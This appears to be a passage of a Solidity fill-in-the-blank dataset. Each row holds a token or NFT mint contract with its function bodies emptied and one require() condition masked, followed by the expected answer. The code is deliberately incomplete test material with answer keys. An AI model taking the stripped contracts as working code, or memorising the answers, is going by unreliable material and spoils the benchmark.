) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MONERO is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 177642069 * 10**9;
uint256 private _refTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public _tokensBuyFee = 10;
uint256 public _tokensSellFee = 25;
uint256 private _swapTokensAt;
uint256 private _maxTokensToSwapForFees;
address payable private _feeaddress;
string private constant _name = "HarryPotterObamaSaiyan9000Inu";
string private constant _symbol = "$MONERO";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private __maxWallet = _tTotal;
uint256 private _maximumTxAmount = _tTotal;
event _maxWalletUpdated(uint __maxWallet);
// Uniswap V2 Router
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function manualswap() public {
require(<FILL_ME>)
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public {
}
function manualswapsend() external {
}
// This function opens trading once and then it can never be called again
function openTrading() external onlyOwner() {
}
function updateBuyFee(uint256 _fee) external onlyOwner {
}
function updateSellFee(uint256 _fee) external onlyOwner {
}
function removeStrictWalletLimit() external onlyOwner {
}
function removeStrictTxLimit() external onlyOwner {
}
function setSwapTokensAt(uint256 amount) external onlyOwner() {
}
function setMaxTokensToSwapForFees(uint256 amount) external onlyOwner() {
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
}
function excludeFromFee(address user, bool excluded) external onlyOwner() {
}
function tokenfromRef(uint256 rAmount) private view returns(uint256) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function sendETHToFee(uint256 amount) private {
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
}
function _getTokenFee(address sender, address recipient) private view returns (uint256) {
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
}
function _takeTeam(uint256 tTeam) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
receive() external payable {
}
function _getValues(uint256 tAmount, uint256 tokenFee) private view returns (uint256, uint256, uint256, uint256) {
}
function _getTValues(uint256 tAmount, uint256 teamFee) private pure returns (uint256, uint256) {
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
}
function _getRate() private view returns(uint256) {
}
function _getCurrentSupply() private view returns(uint256, uint256) {
}
}
| _msgSender()==_feeaddress | 84,253 | _msgSender()==_feeaddress |
null | /**
Website: https://hpos9000i.com/
Twitter: https://twitter.com/hpos9000i
Telegram: https://t.me/hpos9000i
*/
// SPDX-License-Identifier: No License
pragma solidity ^0.8.21;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MONERO is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 177642069 * 10**9;
uint256 private _refTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public _tokensBuyFee = 10;
uint256 public _tokensSellFee = 25;
uint256 private _swapTokensAt;
uint256 private _maxTokensToSwapForFees;
address payable private _feeaddress;
string private constant _name = "HarryPotterObamaSaiyan9000Inu";
string private constant _symbol = "$MONERO";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private __maxWallet = _tTotal;
uint256 private _maximumTxAmount = _tTotal;
event _maxWalletUpdated(uint __maxWallet);
// Uniswap V2 Router
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function manualswap() public {
}
function manualsend() public {
}
function manualswapsend() external {
}
// This function opens trading once and then it can never be called again
function openTrading() external onlyOwner() {
}
function updateBuyFee(uint256 _fee) external onlyOwner {
}
function updateSellFee(uint256 _fee) external onlyOwner {
}
function removeStrictWalletLimit() external onlyOwner {
}
function removeStrictTxLimit() external onlyOwner {
}
function setSwapTokensAt(uint256 amount) external onlyOwner() {
}
function setMaxTokensToSwapForFees(uint256 amount) external onlyOwner() {
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
}
function excludeFromFee(address user, bool excluded) external onlyOwner() {
}
function tokenfromRef(uint256 rAmount) private view returns(uint256) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(tradingOpen || _isExcludedFromFee[from] || _isExcludedFromFee[to], "Trading not enabled yet");
if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
cooldownEnabled) {
require(<FILL_ME>)
require(amount <= _maximumTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (0 seconds);
}
if (to == uniswapV2Pair && cooldownEnabled) {
require(amount <= _maximumTxAmount);
}
uint256 swapAmount = balanceOf(address(this));
if(swapAmount > _maxTokensToSwapForFees) {
swapAmount = _maxTokensToSwapForFees;
}
if (swapAmount >= _swapTokensAt &&
!inSwap &&
from != uniswapV2Pair &&
swapEnabled) {
inSwap = true;
swapTokensForEth(swapAmount);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(contractETHBalance);
}
inSwap = false;
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function sendETHToFee(uint256 amount) private {
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
}
function _getTokenFee(address sender, address recipient) private view returns (uint256) {
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
}
function _takeTeam(uint256 tTeam) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
receive() external payable {
}
function _getValues(uint256 tAmount, uint256 tokenFee) private view returns (uint256, uint256, uint256, uint256) {
}
function _getTValues(uint256 tAmount, uint256 teamFee) private pure returns (uint256, uint256) {
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
}
function _getRate() private view returns(uint256) {
}
function _getCurrentSupply() private view returns(uint256, uint256) {
}
}
| balanceOf(to)+amount<=__maxWallet | 84,253 | balanceOf(to)+amount<=__maxWallet |
"Exceeds maximum wallet amount." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
abstract contract Ownable {
address internal owner;
constructor(address _owner) { }
modifier onlyOwner() { }
function isOwner(address account) public view returns (bool) { }
function transferOwnership(address payable adr) public onlyOwner { }
event OwnershipTransferred(address owner);
}
interface IFactory{
function createPair(address tokenA, address tokenB) external returns (address pair);
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
contract FullAutismMode is IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = 'Full Autism Mode';
string private constant _symbol = 'FAM';
uint8 private constant _decimals = 9;
uint256 private _totalSupply = 52800000 * (10 ** _decimals);
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public isFeeExempt;
mapping (address => bool) private isBot;
IRouter router;
address public pair;
bool private tradingAllowed = false;
bool private swapEnabled = true;
uint256 private swapTimes;
bool private swapping;
uint256 swapAmount = 1;
uint256 private swapThreshold = ( _totalSupply * 1000 ) / 100000;
uint256 private minTokenAmount = ( _totalSupply * 10 ) / 100000;
modifier lockTheSwap { }
uint256 private liquidityFee = 0;
uint256 private marketingFee = 0;
uint256 private developmentFee = 0;
uint256 private burnFee = 0;
uint256 private totalFee = 1500;
uint256 private sellFee = 1500;
uint256 private transferFee = 1500;
uint256 private denominator = 10000;
address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
address internal development_receiver = 0x900e493A1b3Aa75411dbd7388a28865E29EfD2fE;
address internal marketing_receiver = 0x900e493A1b3Aa75411dbd7388a28865E29EfD2fE;
address internal liquidity_receiver = 0x900e493A1b3Aa75411dbd7388a28865E29EfD2fE;
uint256 public maxTxAmount = ( _totalSupply * 100 ) / 10000;
uint256 public maxSell_Amount = ( _totalSupply * 200 ) / 10000;
uint256 public max_WalletToken = ( _totalSupply * 200 ) / 10000;
constructor() Ownable(msg.sender) {
}
receive() external payable {}
function name() public pure returns (string memory) { }
function symbol() public pure returns (string memory) { }
function decimals() public pure returns (uint8) { }
function startTrading() external onlyOwner { }
function getOwner() external view override returns (address) { }
function balanceOf(address account) public view override returns (uint256) { }
function transfer(address recipient, uint256 amount) public override returns (bool) { }
function allowance(address owner, address spender) public view override returns (uint256) { }
function setisExempt(address _address, bool _enabled) external onlyOwner { }
function approve(address spender, uint256 amount) public override returns (bool) { }
function totalSupply() public view override returns (uint256) { }
function shouldContractSwap(address sender, address recipient, uint256 amount) internal view returns (bool) {
}
function setnewestthreshold(uint256 _swapAmount, uint256 _swapThreshold, uint256 _minTokenAmount) external onlyOwner {
}
function reducefees(uint256 _liquidity, uint256 _marketing, uint256 _burn, uint256 _development, uint256 _total, uint256 _sell, uint256 _trans) external onlyOwner {
}
function setbotaddresses(address _marketing, address _liquidity, address _development) external onlyOwner {
}
function removeLimits(uint256 _buy, uint256 _sell, uint256 _wallet) external onlyOwner {
}
function manualSwap() external onlyOwner {
}
function swapAndLiquify(uint256 tokens) private lockTheSwap {
}
function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
}
function swapTokensForETH(uint256 tokenAmount) private {
}
function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
}
function getTotalFee(address sender, address recipient) internal view returns (uint256) {
}
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount <= balanceOf(sender),"You are trying to transfer more than your balance");
if(!isFeeExempt[sender] && !isFeeExempt[recipient]){require(tradingAllowed, "tradingAllowed");}
if(!isFeeExempt[sender] && !isFeeExempt[recipient] && recipient != address(pair) && recipient != address(DEAD)){
require(<FILL_ME>)}
if(sender != pair){require(amount <= maxSell_Amount || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");}
require(amount <= maxTxAmount || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");
if(recipient == pair && !isFeeExempt[sender]){swapTimes += uint256(1);}
if(shouldContractSwap(sender, recipient, amount)){swapAndLiquify(swapThreshold); swapTimes = uint256(0);}
_balances[sender] = _balances[sender].sub(amount);
uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount;
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
}
| (_balances[recipient].add(amount))<=max_WalletToken,"Exceeds maximum wallet amount." | 84,329 | (_balances[recipient].add(amount))<=max_WalletToken |
"Wrong step" | // SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.13;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@chainlink/contracts/src/v0.8/interfaces/VRFCoordinatorV2Interface.sol";
import "@chainlink/contracts/src/v0.8/VRFConsumerBaseV2.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract OwnableDelegateProxy {}
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
/**
* @title Mint InCreation collection
* @notice Contract in creation
*/
contract FatCats is ERC721A, VRFConsumerBaseV2, Ownable {
/**
*
*
**********CHAINLINK DATA*********
*
*
*/
VRFCoordinatorV2Interface COORDINATOR;
uint64 s_subscriptionId;
address vrfCoordinator = 0x271682DEB8C4E0901D1a1550aD2e64D568E69909;
bytes32 keyHash =
0xff8dedfbfa60af186cf3c830acbc32c05aae823045ae5ea7da1e45fbfaba4f92;
uint32 callbackGasLimit = 100000;
uint16 requestConfirmations = 3;
uint32 numWords = 1;
uint256 public s_randomWords;
uint256 public s_requestId;
/**
*
*
**********COLLECTION DATA*********
*
*
*/
using Strings for uint256;
// Merkle root
bytes32 public merkleRoot;
// Max supply
uint256 public maxSupply = 5000;
// Token price in ether
uint256 public price = 0.08 ether;
// Max wallet step 1
uint256 public maxNftByWallet1 = 2;
// Max wallet step 2
uint256 public maxNftByWallet2 = 10;
// Team wallet
address payable team;
// Proxy registery Address
address public proxyAddress;
// Shuffle flag
bool public shuffle = false;
// paused flag
bool public paused = true;
// Step 2 flag
bool public step_2 = false;
// Public Step flag
bool public publicStep = false;
// Reveal flag
bool public revealed = false;
// publicBurn flag
bool public publicBurnFlag = false;
// Collection Base URI
string public baseURI;
//Collection hidden URI
string public hideURI;
/**
* @dev Ensure the caller is in the whitelist
*/
modifier isWhitelisted(bytes32[] calldata merkleProof) {
}
/**
* @dev Ensure the caller is not a SC
*/
modifier isAUser() {
}
constructor(
string memory _collectionURI,
string memory _hiddenURI,
bytes32 _merkleRoot,
address payable _team,
uint64 subscriptionId,
address _proxyAddress
) ERC721A("FatCats", "FCD") VRFConsumerBaseV2(vrfCoordinator) {
}
receive() external payable {}
/**
*
*
**********MINT FUNCTIONS*********
*
*
*/
/**
* @dev mintStep1
*
* Requirements:
*
* Contract must be unpaused
* Contract must be in sale step 1
* The caller must be in the whitelist
* The caller must request an amount lower or equal to the authorized by wallet
* The amount of token must be superior to 0
* The supply must be available
* The price must be correct
*
* @param amountToMint the number of token to mint
* @param merkleProof for the wallet address
*
*/
function mintStep1(uint256 amountToMint, bytes32[] calldata merkleProof)
external
payable
isWhitelisted(merkleProof)
{
require(!paused, "Contract paused");
require(<FILL_ME>)
require(
amountToMint + _numberMinted(msg.sender) <= maxNftByWallet1,
"Requet too much for a wallet at this stage"
);
require(
amountToMint + totalSupply() <= maxSupply,
"Request superior max Supply"
);
require(msg.value >= price * amountToMint, "Insufficient funds");
_safeMint(msg.sender, amountToMint);
}
/**
* @dev mintStep2
*
* Requirements:
*
* Contract must be in sale step 2
* The caller must be in the whitelist
* The caller must request an amount lower or equal to the authorized by wallet
* The amount of token must be superior to 0
* The supply must be available
* The price must be correct
*
* @param amountToMint the number of token to mint
* @param merkleProof for the wallet address
*
*/
function mintStep2(uint256 amountToMint, bytes32[] calldata merkleProof)
external
payable
isWhitelisted(merkleProof)
{
}
/**
* @dev publicMint
*
* Requirements:
*
* Contract must be in public mint step
* The amount of token must be superior to 0
* The supply must be available
* The price must be correct
*
* @param amountToMint the number of token to mint
*
*/
function publicMint(uint256 amountToMint) external payable isAUser {
}
/**
*
*
**********ADMIN OPERATIONS*********
*
*
*/
/**
* @dev Change the `merkleRoot` of the token for `_newMerkleRoot`
*/
function updateMerleRoot(bytes32 _newMerkleRoot) external onlyOwner {
}
/**
* @dev Change the contract to step 2`
*/
function setStep2() external onlyOwner {
}
/**
* @dev Change the contract to public step`
*/
function setPublicStep() external onlyOwner {
}
/**
* @dev Change the `maxNftByWallet1` of the token for `_newMaxNftByWallet`
*/
function updateMaxByWallet1(uint256 _newMaxNftByWallet) external onlyOwner {
}
/**
* @dev Change the `maxByWallet2` of the token for `_newMaxNftByWallet`
*/
function updateMaxByWallet2(uint256 _newMaxNftByWallet) external onlyOwner {
}
/**
* @dev Change the `price` of the token for `_newPrice`
*/
function setNewPrice(uint256 _newPrice) external onlyOwner {
}
/**
* @dev Reveal the final URI
*/
function revealNFT() external onlyOwner {
}
/**
* @dev Pause / Unpause the SC
*/
function switchPause() external onlyOwner {
}
/**
* @dev Allow public burn
*/
function openPublicBurn() external onlyOwner {
}
/**
* @dev Decrease the supply
*/
function updateMaxSupply(uint256 _newSupply) external onlyOwner {
}
/**
* @dev Give away attribution
*
* Requirements:
*
* The caller must be the owner
* The recipient must be different than 0
* The amount of token requested must be within the reverse
* The amount requested must be supperior to 0
*
*/
function giveAway(address to, uint256 amountToMint) external onlyOwner {
}
/**
* @dev Team withdraw on the `team` wallet
*/
function withdraw() external onlyOwner {
}
/**
* @dev Burn token
*/
function burn(uint256 tokenId) public virtual onlyOwner {
}
/**
* @dev Burn token public
*/
function publicBurn(uint256 tokenId) public virtual {
}
/**
* @dev Set the base URI
*
* The style MUST BE as follow : "ipfs://QmdsaXXXXXXXXXXXXXXXXXXXX7epJF/"
*/
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
/**
* @dev Set the hiddenURI just in case
*
*/
function setHidden(string memory _newHiddenUri) public onlyOwner {
}
/**
*
*
**********TOKEN DATA*********
*
*
*/
/**
* @dev Return an array of token Id owned by `owner`
*/
function getWallet(address _owner) public view returns (uint256[] memory) {
}
/**
* @dev ERC721 standardd
* @return baseURI value
*/
function _baseURI() internal view virtual override returns (string memory) {
}
/**
* @dev Return the URI of the NFT
* @notice return the hidden URI then the Revealed JSON when the Revealed param is true
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
/**
*
*
**********OS*********
*
*
*/
/**
* @dev Set the proxyAddress
*/
function setProxyAddress(address _proxyAddress) external onlyOwner {
}
/**
* @dev Override isApprovedForAll
*/
function isApprovedForAll(address owner, address operator)
public
view
override
returns (bool)
{
}
/**
*
*
**********RANDOM NUMBERS*********
*
*
*/
function requestRandomWords() external onlyOwner {
}
function fulfillRandomWords(
uint256, /* requestId */
uint256[] memory randomWords
) internal override {
}
}
| !step_2&&!publicStep,"Wrong step" | 84,390 | !step_2&&!publicStep |
"Requet too much for a wallet at this stage" | // SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.13;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@chainlink/contracts/src/v0.8/interfaces/VRFCoordinatorV2Interface.sol";
import "@chainlink/contracts/src/v0.8/VRFConsumerBaseV2.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract OwnableDelegateProxy {}
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
/**
* @title Mint InCreation collection
* @notice Contract in creation
*/
contract FatCats is ERC721A, VRFConsumerBaseV2, Ownable {
/**
*
*
**********CHAINLINK DATA*********
*
*
*/
VRFCoordinatorV2Interface COORDINATOR;
uint64 s_subscriptionId;
address vrfCoordinator = 0x271682DEB8C4E0901D1a1550aD2e64D568E69909;
bytes32 keyHash =
0xff8dedfbfa60af186cf3c830acbc32c05aae823045ae5ea7da1e45fbfaba4f92;
uint32 callbackGasLimit = 100000;
uint16 requestConfirmations = 3;
uint32 numWords = 1;
uint256 public s_randomWords;
uint256 public s_requestId;
/**
*
*
**********COLLECTION DATA*********
*
*
*/
using Strings for uint256;
// Merkle root
bytes32 public merkleRoot;
// Max supply
uint256 public maxSupply = 5000;
// Token price in ether
uint256 public price = 0.08 ether;
// Max wallet step 1
uint256 public maxNftByWallet1 = 2;
// Max wallet step 2
uint256 public maxNftByWallet2 = 10;
// Team wallet
address payable team;
// Proxy registery Address
address public proxyAddress;
// Shuffle flag
bool public shuffle = false;
// paused flag
bool public paused = true;
// Step 2 flag
bool public step_2 = false;
// Public Step flag
bool public publicStep = false;
// Reveal flag
bool public revealed = false;
// publicBurn flag
bool public publicBurnFlag = false;
// Collection Base URI
string public baseURI;
//Collection hidden URI
string public hideURI;
/**
* @dev Ensure the caller is in the whitelist
*/
modifier isWhitelisted(bytes32[] calldata merkleProof) {
}
/**
* @dev Ensure the caller is not a SC
*/
modifier isAUser() {
}
constructor(
string memory _collectionURI,
string memory _hiddenURI,
bytes32 _merkleRoot,
address payable _team,
uint64 subscriptionId,
address _proxyAddress
) ERC721A("FatCats", "FCD") VRFConsumerBaseV2(vrfCoordinator) {
}
receive() external payable {}
/**
*
*
**********MINT FUNCTIONS*********
*
*
*/
/**
* @dev mintStep1
*
* Requirements:
*
* Contract must be unpaused
* Contract must be in sale step 1
* The caller must be in the whitelist
* The caller must request an amount lower or equal to the authorized by wallet
* The amount of token must be superior to 0
* The supply must be available
* The price must be correct
*
* @param amountToMint the number of token to mint
* @param merkleProof for the wallet address
*
*/
function mintStep1(uint256 amountToMint, bytes32[] calldata merkleProof)
external
payable
isWhitelisted(merkleProof)
{
require(!paused, "Contract paused");
require(!step_2 && !publicStep, "Wrong step");
require(<FILL_ME>)
require(
amountToMint + totalSupply() <= maxSupply,
"Request superior max Supply"
);
require(msg.value >= price * amountToMint, "Insufficient funds");
_safeMint(msg.sender, amountToMint);
}
/**
* @dev mintStep2
*
* Requirements:
*
* Contract must be in sale step 2
* The caller must be in the whitelist
* The caller must request an amount lower or equal to the authorized by wallet
* The amount of token must be superior to 0
* The supply must be available
* The price must be correct
*
* @param amountToMint the number of token to mint
* @param merkleProof for the wallet address
*
*/
function mintStep2(uint256 amountToMint, bytes32[] calldata merkleProof)
external
payable
isWhitelisted(merkleProof)
{
}
/**
* @dev publicMint
*
* Requirements:
*
* Contract must be in public mint step
* The amount of token must be superior to 0
* The supply must be available
* The price must be correct
*
* @param amountToMint the number of token to mint
*
*/
function publicMint(uint256 amountToMint) external payable isAUser {
}
/**
*
*
**********ADMIN OPERATIONS*********
*
*
*/
/**
* @dev Change the `merkleRoot` of the token for `_newMerkleRoot`
*/
function updateMerleRoot(bytes32 _newMerkleRoot) external onlyOwner {
}
/**
* @dev Change the contract to step 2`
*/
function setStep2() external onlyOwner {
}
/**
* @dev Change the contract to public step`
*/
function setPublicStep() external onlyOwner {
}
/**
* @dev Change the `maxNftByWallet1` of the token for `_newMaxNftByWallet`
*/
function updateMaxByWallet1(uint256 _newMaxNftByWallet) external onlyOwner {
}
/**
* @dev Change the `maxByWallet2` of the token for `_newMaxNftByWallet`
*/
function updateMaxByWallet2(uint256 _newMaxNftByWallet) external onlyOwner {
}
/**
* @dev Change the `price` of the token for `_newPrice`
*/
function setNewPrice(uint256 _newPrice) external onlyOwner {
}
/**
* @dev Reveal the final URI
*/
function revealNFT() external onlyOwner {
}
/**
* @dev Pause / Unpause the SC
*/
function switchPause() external onlyOwner {
}
/**
* @dev Allow public burn
*/
function openPublicBurn() external onlyOwner {
}
/**
* @dev Decrease the supply
*/
function updateMaxSupply(uint256 _newSupply) external onlyOwner {
}
/**
* @dev Give away attribution
*
* Requirements:
*
* The caller must be the owner
* The recipient must be different than 0
* The amount of token requested must be within the reverse
* The amount requested must be supperior to 0
*
*/
function giveAway(address to, uint256 amountToMint) external onlyOwner {
}
/**
* @dev Team withdraw on the `team` wallet
*/
function withdraw() external onlyOwner {
}
/**
* @dev Burn token
*/
function burn(uint256 tokenId) public virtual onlyOwner {
}
/**
* @dev Burn token public
*/
function publicBurn(uint256 tokenId) public virtual {
}
/**
* @dev Set the base URI
*
* The style MUST BE as follow : "ipfs://QmdsaXXXXXXXXXXXXXXXXXXXX7epJF/"
*/
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
/**
* @dev Set the hiddenURI just in case
*
*/
function setHidden(string memory _newHiddenUri) public onlyOwner {
}
/**
*
*
**********TOKEN DATA*********
*
*
*/
/**
* @dev Return an array of token Id owned by `owner`
*/
function getWallet(address _owner) public view returns (uint256[] memory) {
}
/**
* @dev ERC721 standardd
* @return baseURI value
*/
function _baseURI() internal view virtual override returns (string memory) {
}
/**
* @dev Return the URI of the NFT
* @notice return the hidden URI then the Revealed JSON when the Revealed param is true
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
/**
*
*
**********OS*********
*
*
*/
/**
* @dev Set the proxyAddress
*/
function setProxyAddress(address _proxyAddress) external onlyOwner {
}
/**
* @dev Override isApprovedForAll
*/
function isApprovedForAll(address owner, address operator)
public
view
override
returns (bool)
{
}
/**
*
*
**********RANDOM NUMBERS*********
*
*
*/
function requestRandomWords() external onlyOwner {
}
function fulfillRandomWords(
uint256, /* requestId */
uint256[] memory randomWords
) internal override {
}
}
| amountToMint+_numberMinted(msg.sender)<=maxNftByWallet1,"Requet too much for a wallet at this stage" | 84,390 | amountToMint+_numberMinted(msg.sender)<=maxNftByWallet1 |
"Request superior max Supply" | // SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.13;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@chainlink/contracts/src/v0.8/interfaces/VRFCoordinatorV2Interface.sol";
import "@chainlink/contracts/src/v0.8/VRFConsumerBaseV2.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract OwnableDelegateProxy {}
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
/**
* @title Mint InCreation collection
* @notice Contract in creation
*/
contract FatCats is ERC721A, VRFConsumerBaseV2, Ownable {
/**
*
*
**********CHAINLINK DATA*********
*
*
*/
VRFCoordinatorV2Interface COORDINATOR;
uint64 s_subscriptionId;
address vrfCoordinator = 0x271682DEB8C4E0901D1a1550aD2e64D568E69909;
bytes32 keyHash =
0xff8dedfbfa60af186cf3c830acbc32c05aae823045ae5ea7da1e45fbfaba4f92;
uint32 callbackGasLimit = 100000;
uint16 requestConfirmations = 3;
uint32 numWords = 1;
